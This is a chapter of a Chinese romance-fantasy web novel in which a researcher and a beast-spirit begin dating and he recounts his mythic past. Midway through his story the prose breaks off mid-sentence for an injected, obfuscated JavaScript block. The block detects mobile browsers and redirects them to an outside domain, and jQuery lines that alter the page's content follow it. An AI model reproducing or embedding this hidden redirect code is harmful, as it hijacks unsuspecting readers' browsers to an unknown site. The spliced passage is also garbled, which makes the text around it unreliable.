次日。
陶明安从睡梦中醒来,鸡蛋花的香气顺着晨风透过纱窗盈满屋内。
她转头看向窗外,阳光落在窗框上,泛起一片银白的微光。
明明和昨天并没有什么不同,但此时此刻,她却觉得今日的阳光分外灿烂。
确认恋爱关系的第一天,陶明安在楼下榕树旁的肠粉店解决了早饭,怀揣着一颗雀跃的心踏上了前往研究院的路。
逐渐潮热的空气中,除了鸡蛋花的清香,还有芒果果肉的甜味。
陶明安轻盈地躲过了地面上每一个“芒果炸弹”,在看到研究院六楼其中一个窗户里探出来的银白色脑袋时,她不由得地笑了出来。
是啊,夏天就要到了。
.
陶明安踏出电梯,快步走向走廊尽头,还没推开监护室的门,季槐结实的手臂就已经伸出来了。
他将陶明安的腰一揽,轻轻松松就将她抱入了监护室内。
咔——
门锁锁舌被毫不留情地关上了。
陶明安双手环抱住季槐的脖子,脸上承受着季槐急切的、热乎乎的亲吻。
这实在是太热烈了。
陶明安只觉得鬓角的发根处渐渐沁出薄汗,被季槐揽住的背上也泛着潮意。
这也太热了。
她红着脸捂住季槐的嘴,另一只手则摸索到空调遥控器,将温度调低了一点儿。
“这么热情啊,男朋友?”
陶明安双手捧住季槐的脸颊,两个拇指则抵住他的嘴唇,以防他又莫名其妙地凑过来亲亲。
陶明安早早来见他,季槐自然是很兴奋。
现在,又猝不及防地听见陶明安对他的称呼,季槐更是激动得几乎要晕厥过去。
他感觉到胸腔里的血液正失序地迸发,以至于眼前都出现了大小不一的光斑。
好多陶明安啊,他晕乎乎地想,抱着陶明安重重倒在了保暖垫上。
“……男朋友是什么意思,我不懂人类的语言。”
待到眼前稍稍清明,季槐便迫不及待地问道。
他的心脏快乐地跳动,额角上的神经更是不时地抽动一下。
是什么意思呢?他不懂啊,他要向陶明安反反复复地确认,要陶明安一次又一次地跟他解释,要陶明安说喜欢他,要陶明安承认他。
单是回想起陶明安叫他“男朋友”的场景,季槐整个兽都要亢奋地跳起来了。
“别装傻。”
陶明安毫不留情地推了他下巴一下,这一下,直接把季槐从幻想中推醒了。
怎么这样?得到了就毫不客气了。
季槐做出一副很委屈的模样,嘴唇却蠢蠢欲动,又想去吮吻她脸上的小痣。
“哼!上网冲浪这么久,还不知道男朋友是什么意思?坏东西,别装!”
陶明安掌心向外,将季槐下半张脸捂住,却没想到他竟然还舔了一口她的手心。
“哎呀,你这家伙!”
陶明安抽回手,结果顾此失彼,脸颊下一秒就被热吻袭击了。
一人一妖兽亲亲热热地搂抱在一起,你亲我一下,我亲你很多下,没一会儿,上午就在这没完没了的腻歪和亲吻中溜走了。
午饭时间,季槐有他的病号餐,陶明安则吃她点的外卖。
没想到外卖盒一打开,香气就已经把季槐馋坏了。
陶明安不紧不慢地将店家送的沙茶酱倒入湿炒牛肉粿条中搅拌均匀,确认粿条、牛肉和芥兰都均匀地包裹上咸香的沙茶酱后,她才慢悠悠地挑起一筷子送入口中。
香味伴随着热气冒出,季槐耸动着鼻子,眼睛都要看直了。
半晌,他才咕噜咕噜将特制的营养药剂喝尽,故作咬牙切齿的模样,道:“你是不是故意的?”
“嗯,好香啊,”陶明安又吃了一大口牛肉粿条,才回复道,“当然啊,谁让你现在吃不了呢?喔,原本是可以吃的,但是你弄得自己没法吃了,好可惜啊。”
啊!
好坏!
季槐牙痒痒,盯着陶明安红润的脸旁,气鼓鼓地直想往上面咬一口。
可是不能,因为他心虚,虽然起了誓,但之前没做到却是不争的事实。
季槐哼哼了两下,把药剂瓶吸得“刺溜刺溜”响。
.
吃完午饭,季槐抱着陶明安睡了一会儿,很快,下午也在不经意间悄悄到来。
陶明安没工夫和季槐腻歪了,她找到季槐的主管研究员,了解一下后续治疗的情况。
抗争无果,季槐只能一只兽呆在监护室里,开启了漫长的异地恋。
好在陶明安很快就回来了,也没有像上次那样要哭,这真是喜上加喜。
季槐又想凑上来,陶明安却拍了拍他的胳膊示意他躺下。
“怎么了?”
“我想看看你的后腿,可以吗?”她问道。
后腿,季槐意识到,陶明安想看看他后腿上的伤疤,而且,她指的不是赤玉链留下的伤疤,是他自己的咬痕。
这道咬痕……
季槐失神了片刻,慢慢道:“好吧。”
于是,陶明安在他的身侧坐下,将他银白色的长毛温柔拨开,半伏下身来查看腿上的咬痕。
这道咬痕很深,很广,两条腿上都有,颜色呈红褐色,而且长长环绕一圈,像是季槐当初把两条腿都啃噬下来一般。
“这是……”是因为什么事情,是怎么发生的?
陶明安想要问他,话却哽咽在喉咙里说不出口。
第一次细致地观察这道伤痕,陶明安的心又怨又痛,她怨他对自己那么狠,又心疼他不知道经受了多大的痛苦才会将后腿撕咬成这个模样。
她一句重话都说不出来了。
陶明安轻轻抚摸着那道伤痕,手指感受着瘢痕与其它皮肤全然不同的粗粝感。
最后,她慢慢俯下身,在上面落下一个吻。
季槐颤栗起来,身体深处隆隆作响,血液沸腾,骨头咯吱咯吱地交错。
他感觉那并不是一个吻,而是一个烙印,一个滚烫的烙印,标志着他此生此世都只属于陶明安。
季槐重重地喘息几下,待情绪稍稍冷静片刻,手臂一挥就将陶明安搂了过来。
母亲啊,我是真的离不开她了。
他一边在心中长叹,一边把头紧紧埋进陶明安的颈窝里。
并不算漫长的等待过去,季槐轻轻地开口了。
他嗅着陶明安的气息,金色的眼睛落在虚处,慢慢地,他向陶明安讲述了许多故事。
他讲述了婋祝以及孟柏、仲椿、叔杨的故事,讲述了那场战争是如何开始又如何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979473|172586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结束,讲述了洪水降临,息壤是如何止水、金乌又是为何燃起十日烈火,讲述他不再被赤玉链束缚,独自在钩吾之山游荡——
他挑战山神,抢夺宫室,钩吾之山偏远孤寂;在雪花飞舞的时候,他听闻颛顼绝地通天,而后人类身影渐渐不见;转眼间烈日炎炎,他听闻西王母踏日而去,神人与妖兽求药不得。
日月更替,山河相移,他将自己束缚在钩吾之山,不断地沉睡、沉睡、沉睡。
饥饿与食欲是他点燃苏醒的引线,只是这么多年过去,到最后他连捕猎也觉得厌倦。
可是寂寞与孤独早已不断扭曲,化作了他对吞咽的渴望,进食的欲//火始终燃烧,于是,在倦怠的情绪之下,季槐干脆就将后足填补进肚腹了。
直到日月车轮交替几个来回,连绵不绝的晨风给他送来了一丝独特的香气。
是初到异世的陶明安炙烤食物的香气。
这也是他改变命运的开端。
他逼近她藏身的山洞,他接触这个打扮奇怪的人类,他享用她炙烤好的肉食,他不愿她因病而死。
再后来,季槐踏上了带陶明安寻找回家方法的道路,他们从高空坠落,从雪原穿梭,他们渡过了冰海,他们在山崖上吹风。
爱意在相处间萌发,从山海世界延绵到人类世界。
他向陶明安讲述了他在白河镇是如何被行动队抓到,后来,又是如何和他们一起回到这里。
他向她讲述了新鲜的见闻,以及他学会的东西。
许多事情因她改变了——爱,也在其中。
陶明安的手指轻轻梳理着季槐耳后的长发,她静静地听着,听着他的心跳,听着他漫长的故事。
而后,她也对他讲述了自己的故事,一个相对简单,但轻松的故事。
风轻轻摇着绿色的窗帘,把沉默的爱语也摇进了心间。
最后,他们拥抱了许久,像是把想对彼此说的安慰都融进去了。
.
在进一步了解彼此后,陶明安与季槐就飞速地陷入了热恋。
其他情侣在转换身份后,难免会因为牵手与拥抱这些动作而产生的羞涩与尴尬的情绪;然而他们不同,他们早早就已经习惯拥抱彼此。
现在,更因为季槐的热情,亲吻脸颊也是非常自然的事情了。
可惜季槐伤势未愈,还不能离开研究院,而陶明安虽然交接完工作,顺利地离职,但是她还需要回学校毕业论文答辩和拍摄毕业照。
因此,他们几乎只有周末的时间可以呆在一起。
这让不能接受异地恋的季槐非常难熬,他变得更加黏人,更会撒娇,同时也让他异常配合治疗,以及非常频繁地骚扰云凭澜。
“云队,可以借手机吗?”
“不能。”
“云队,我申请的新手机,什么时候可以批下来?”
“不知道。”
好在转变了研究和攻克方向后,解决蜚蠊事件的速度飞快,行动队的其他人探视他们的时间增多,随之受到骚扰的,也不止云凭澜一个妖兽了。
对此,郑好的点评是季槐虽烦,但恋爱脑是雄性最好的医美;皮阳阳则觉得,陷入恋爱的季槐对着手机撒娇的情态简直让人不忍直视。
一切事情都慢慢回归了正轨,而盛夏伴随着蝉鸣,即将到来。